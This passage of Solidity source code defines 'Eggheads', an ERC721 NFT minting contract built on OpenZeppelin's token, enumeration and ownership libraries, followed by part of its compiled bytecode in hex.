mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } pragma solidity >=0.7.0 <0.9.0; contract Eggheads is ERC721Enumerable, Ownable { using Strings for uint256; string baseURI; string public baseExtension = ".json"; uint256 public cost = 0.002 ether; uint256 public maxSupply = 10000; uint256 public maxMintAmount = 20; bool public paused = true; bool public revealed = false; string public notRevealedUri; constructor( string memory _name, string memory _symbol, string memory _initBaseURI, string memory _initNotRevealedUri ) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); setNotRevealedURI(_initNotRevealedUri); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // public function mint(uint256 _mintAmount) public payable { uint256 supply = totalSupply(); require(!paused); require(_mintAmount > 0); require(_mintAmount <= maxMintAmount); require(supply + _mintAmount <= maxSupply); if (msg.sender != owner()) { require(msg.value >= cost * _mintAmount); } for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(msg.sender, supply + i); } } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); if(revealed == false) { return notRevealedUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } //only owner function reveal() public onlyOwner { revealed = true; } function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner { maxMintAmount = _newmaxMintAmount; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function pause(bool _state) public onlyOwner { paused = _state; } function withdraw() public payable onlyOwner { // This will pay HashLips 5% of the initial sale. // You can remove this if you want, or keep it in to support HashLips and his channel. // ============================================================================= //...(bool hs, ) = payable(0x943590A42C27D08e3744202c4Ae5eD55c2dE240D).call{value: address(this).balance * 5 / 100}(""); //...require(hs); // ============================================================================= // This will payout the owner 95% of the contract balance. // Do not remove this otherwise you will not be able to withdraw the funds. // ============================================================================= (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); // ============================================================================= } }
0x60806040526004361061020f5760003560e01c80635c975abb11610118578063a475b5dd116100a0578063d5abeb011161006f578063d5abeb01146105bc578063da3ef23f146105d2578063e985e9c5146105f2578063f2c4ce1e1461063b578063f2fde38b1461065b57600080fd5b8063a475b5dd14610552578063b88d4fde14610567578063c668286214610587578063c87b56dd1461059c57600080fd5b80637f00c7a6116100e75780637f00c7a6146104cc5780638da5cb5b146104ec57806395d89b411461050a578063a0712d681461051f578063a22cb4651461053257600080fd5b80635c975abb1461045d5780636352211e1461047757806370a0823114610497578063715018a6146104b757600080fd5b806323b872dd1161019b578063438b63001161016a578063438b6300146103b157806344a0d68a146103de5780634f6ccce7146103fe578063518302271461041e57806355f804b31461043d57600080fd5b806323b872dd146103495780632f745c59146103695780633ccfd60b1461038957806342842e0e1461039157600080fd5b8063081c8c44116101e2578063081c8c44146102c5578063095ea7b3146102da57806313faede6146102fa57806318160ddd1461031e578063239c70ae1461033357600080fd5b806301ffc9a71461021457806302329a291461024957806306fdde031461026b578063081812fc1461028d575b600080fd5b34801561022057600080fd5b5061023461022f366004611f63565b61067b565b60405190151581526020015b60405180910390f35b34801561025557600080fd5b50610269610264366004611f48565b6106a6565b005b34801561027757600080fd5b506102806106ec565b6040516102409190612170565b34801561029957600080fd5b506102ad6102a8366004611fe6565b61077e565b6040516001600160a01b039091168152602001610240565b3480156102d157600080fd5b50610280610813565b3480156102e657600080fd5b506102696102f5366004611f1e565b6108a1565b34801561030657600080fd5b50610310600d5481565b604051908152602001610240565b34801561032a57600080fd5b50600854610310565b34801561033f57600080fd5b50610310600f5481565b34801561035557600080fd5b50610269610364366004611e3c565b6109b7565b34801561037557600080fd5b50610310610384366004611f1e565b6109e8565b610269610a7e565b34801561039d57600080fd5b506102696103ac366004611e3c565b610b1c565b3480156103bd57600080fd5b506103d16103cc366004611dee565b610b37565b604051610240919061212c565b3480156103ea57600080fd5b506102696103f9366004611fe6565b610bd9565b34801561040a57600080fd5b50610310610419366004611fe6565b610c08565b34801561042a57600080fd5b5060105461023490610100900460ff1681565b34801561044957600080fd5b50610269610458366004611f9d565b610c9b565b34801561046957600080fd5b506010546102349060ff1681565b34801561048357600080fd5b506102ad610492366004611fe6565b610cdc565b3480156104a357600080fd5b506103106104b2366004611dee565b610d53565b3480156104c357600080fd5b50610269610dda565b3480156104d857600080fd5b506102696104e7366004611fe6565b610e10565b3480156104f857600080fd5b50600a546001600160a01b03166102ad565b34801561051657600080fd5b50610280610e3f565b61026961052d366004611fe6565b610e4e565b34801561053e57600080fd5b5061026961054d366004611ef4565b610efb565b34801561055e57600080fd5b50610269610fc0565b34801561057357600080fd5b50610269610582366004611e78565b610ffb565b34801561059357600080fd5b50610280611033565b3480156105a857600080fd5b506102806105b7366004611fe6565b611040565b3480156105c857600080fd5b50610310600e5481565b3480156105de57600080fd5b506102696105ed366004611f9d565b6111bf565b3480156105fe57600080fd5b5061023461060d366004611e09565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561064757600080fd5b50610269610656366004611f9d565b6111fc565b34801561066757600080fd5b50610269610676366004611dee565b611239565b60006001600160e01b0319821663780e9d6360e01b14806106a057506106a0826112d1565b92915050565b600a546001600160a01b031633146106d95760405162461bcd60e51b81526004016106d0906121d5565b60405180910390fd5b6010805460ff1916911515919091179055565b6060600080546106fb906122e9565b80601f0160208091040260200160405190810160405280929190818152602001828054610727906122e9565b80156107745780601f1061074957610100808354040283529160200191610774565b820191906000526020600020905b81548152906001019060200180831161075757829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166107f75760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016106d0565b506000908152600460205260409020546001600160a01b031690565b60118054610820906122e9565b80601f016020809104026020016040519081016040528092919081815260200182805461084c906122e9565b80156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b505050505081565b60006108ac82610cdc565b9050806001600160a01b0316836001600160a01b0316141561091a5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016106d0565b336001600160a01b03821614806109365750610936813361060d565b6109a85760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016106d0565b6109b28383611321565b505050565b6109c1338261138f565b6109dd5760405162461bcd60e51b81526004016106d09061220a565b6109b2838383611486565b60006109f383610d53565b8210610a555760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b60648201526084016106d0565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b600a546001600160a01b03163314610aa85760405162461bcd60e51b81526004016106d0906121d5565b6000610abc600a546001600160a01b031690565b6001600160a01b03164760405160006040518083038185875af1925050503d8060008114610b06576040519150601f19603f3d011682016040523d82523d6000602084013e610b0b565b606091505b5050905080610b1957600080fd5b50565b6109b283838360405180602001604052806000815250610ffb565b60606000610b4483610d53565b905060008167ffffffffffffffff811115610b6157610b616123ab565b604051908082528060200260200182016040528015610b8a578160200160208202803683370190505b50905060005b82811015610bd157610ba285826109e8565b828281518110610bb457610bb4612395565b602090810291909101015280610bc981612324565b915050610b90565b509392505050565b600a546001600160a01b03163314610c035760405162461bcd60e51b81526004016106d0906121d5565b600d55565b6000610c1360085490565b8210610c765760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b60648201526084016106d0565b60088281548110610c8957610c89612395565b90600052602060002001549050919050565b600a546001600160a01b03163314610cc55760405162461bcd60e51b81526004016106d0906121d5565b8051610cd890600b906020840190611cb3565b5050565b6000818152600260205260408120546001600160a01b0316806106a05760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016106d0565b60006001600160a01b038216610dbe5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016106d0565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b03163314610e045760405162461bcd60e51b81526004016106d0906121d5565b610e0e6000611631565b565b600a546001600160a01b03163314610e3a5760405162461bcd60e51b81526004016106d0906121d5565b600f55565b6060600180546106fb906122e9565b6000610e5960085490565b60105490915060ff1615610e6c57600080fd5b60008211610e7957600080fd5b600f54821115610e8857600080fd5b600e54610e95838361225b565b1115610ea057600080fd5b600a546001600160a01b03163314610ecc5781600d54610ec09190612287565b341015610ecc57600080fd5b60015b8281116109b257610ee933610ee4838561225b565b611683565b80610ef381612324565b915050610ecf565b6001600160a01b038216331415610f545760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016106d0565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b600a546001600160a01b03163314610fea5760405162461bcd60e51b81526004016106d0906121d5565b6010805461ff001916610100179055565b611005338361138f565b6110215760405162461bcd60e51b81526004016106d09061220a565b61102d8484848461169d565b50505050565b600c8054610820906122e9565b6000818152600260205260409020546060906001600160a01b03166110bf5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b60648201526084016106d0565b601054610100900460ff1661116057601180546110db906122e9565b80601f0160208091040260200160405190810160405280929190818152602001828054611107906122e9565b80156111545780601f1061112957610100808354040283529160200191611154565b820191906000526020600020905b81548152906001019060200180831161113757829003601f168201915b50505050509050919050565b600061116a6116d0565b9050600081511161118a57604051806020016040528060008152506111b8565b80611194846116df565b600c6040516020016111a89392919061202b565b6040516020818303038152906040525b9392505050565b600a546001600160a01b031633146111e95760405162461bcd60e51b81526004016106d0906121d5565b8051610cd890600c906020840190611cb3565b600a546001600160a01b031633146112265760405162461bcd60e51b81526004016106d0906121d5565b8051610cd8906011906020840190611cb3565b600a546001600160a01b031633146112635760405162461bcd60e51b81526004016106d0906121d5565b6001600160a01b0381166112c85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106d0565b610b1981611631565b60006001600160e01b031982166380ac58cd60e01b148061130257506001600160e01b03198216635b5e139f60e01b145b806106a057506301ffc9a760e01b6001600160e01b03198316146106a0565b600081815260046020526040902080546001600160a01b0319166001600160a01b038416908117909155819061135682610cdc565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b03166114085760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016106d0565b600061141383610cdc565b9050806001600160a01b0316846001600160a01b0316148061144e5750836001600160a01b03166114438461077e565b6001600160a01b0316145b8061147e57506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b031661149982610cdc565b6001600160a01b0316146115015760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b60648201526084016106d0565b6001600160a01b0382166115635760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016106d0565b61156e8383836117dd565b611579600082611321565b6001600160a01b03831660009081526003602052604081208054600192906115a29084906122a6565b90915550506001600160a01b03821660009081526003602052604081208054600192906115d090849061225b565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b610cd8828260405180602001604052806000815250611895565b6116a8848484611486565b6116b4848484846118c8565b61102d5760405162461bcd60e51b81526004016106d090612183565b6060600b80546106fb906122e9565b6060816117035750506040805180820190915260018152600360fc1b602082015290565b8160005b811561172d578061171781612324565b91506117269050600a83612273565b9150611707565b60008167ffffffffffffffff811115611748576117486123ab565b6040519080825280601f01601f191660200182016040528015611772576020820181803683370190505b5090505b841561147e576117876001836122a6565b9150611794600a8661233f565b61179f90603061225b565b60f81b8183815181106117b4576117b4612395565b60200101906001600160f81b031916908160001a9053506117d6600a86612273565b9450611776565b6001600160a01b0383166118385761183381600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b61185b565b816001600160a01b0316836001600160a01b03161461185b5761185b83826119d5565b6001600160a01b038216611872576109b281611a72565b826001600160a01b0316826001600160a01b0316146109b2576109b28282611b21565b61189f8383611b65565b6118ac60008484846118c8565b6109b25760405162461bcd60e51b81526004016106d090612183565b60006001600160a01b0384163b156119ca57604051630a85bd0160e11b81526001600160a01b0385169063150b7a029061190c9033908990889088906004016120ef565b602060405180830381600087803b15801561192657600080fd5b505af1925050508015611956575060408051601f3d908101601f1916820190925261195391810190611f80565b60015b6119b0573d808015611984576040519150601f19603f3d011682016040523d82523d6000602084013e611989565b606091505b5080516119a85760405162461bcd60e51b81526004016106d090612183565b805181602001fd5b6001600160e01b031916630a85bd0160e11b14905061147e565b506001949350505050565b600060016119e284610d53565b6119ec91906122a6565b600083815260076020526040902054909150808214611a3f576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b600854600090611a84906001906122a6565b60008381526009602052604081205460088054939450909284908110611aac57611aac612395565b906000526020600020015490508060088381548110611acd57611acd612395565b6000918252602080832090910192909255828152600990915260408082208490558582528120556008805480611b0557611b0561237f565b6001900381819060005260206000200160009055905550505050565b6000611b2c83610d53565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6001600160a01b038216611bbb5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016106d0565b6000818152600260205260409020546001600160a01b031615611c205760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016106d0565b611c2c600083836117dd565b6001600160a01b0382166000908152600360205260408120805460019290611c5590849061225b565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b828054611cbf906122e9565b90600052602060002090601f016020900481019282611ce15760008555611d27565b82601f10611cfa57805160ff1916838001178555611d27565b82800160010185558215611d27579182015b82811115611d27578251825591602001919060010190611d0c565b50611d33929150611d37565b5090565b5b80821115611d335760008155600101611d38565b600067ffffffffffffffff80841115611d6757611d676123ab565b604051601f8501601f19908116603f0116810190828211818310